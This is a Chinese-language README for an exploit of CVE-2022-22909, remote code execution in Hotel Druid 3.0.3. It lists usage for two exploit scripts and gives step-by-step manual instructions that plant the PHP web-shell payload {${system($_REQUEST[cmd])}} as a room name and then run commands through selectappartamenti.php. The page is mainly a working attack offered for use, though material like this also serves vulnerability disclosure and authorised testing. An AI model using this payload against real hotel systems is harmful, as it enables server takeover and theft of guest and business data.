CVE-2022-22909 Hotel Druid 3.0.3 - 远程代码执行 (RCE)

由 kaal 开发的漏洞利用程序

漏洞利用程序

1. HotelDruidExploit.py

此漏洞利用程序将创建一个新房间，并以我们的 PHP 负载作为房间名称。

用法： $ ./HotelDruidExploit.py -h

$ ./HotelDruidExploit.py -u http://127.0.0.1/hoteldruid

---

2. HotelDruidExploitRoom.py

此漏洞利用程序在您已知房间名称时有效。

用法： $ ./HotelDruidExploitRoom.py -u "http://127.0.0.1/hoteldruid" -r "abc"

---

漏洞利用步骤：

1). 导航至 Hotel Druid 页面。

2). 点击 Tables -> Rooms

3). 在“创建新房间”字段中添加以下 PHP 代码，然后单击“添加”。

{${system($_REQUEST[cmd])}}

4). 您将在“房间”名称字段中看到带有我们负载的新房间。

5). 访问以下链接，您将获得命令执行权限，之后可以获得完整 shell。

http://127.0.0.1/hoteldruid/dati/selectappartamenti.php?cmd=whoami

注意：将 IP 地址替换为您的 hoteldruid 目标 IP。

漏洞描述：

此漏洞的发生是因为房间名称被存储在 /var/www/html/hoteldruid/dati/selectappartamenti.php 中。

而 selectappartamenti.php 是一个 PHP 文件，因此该文件中的任何 PHP 代码都会被服务器执行。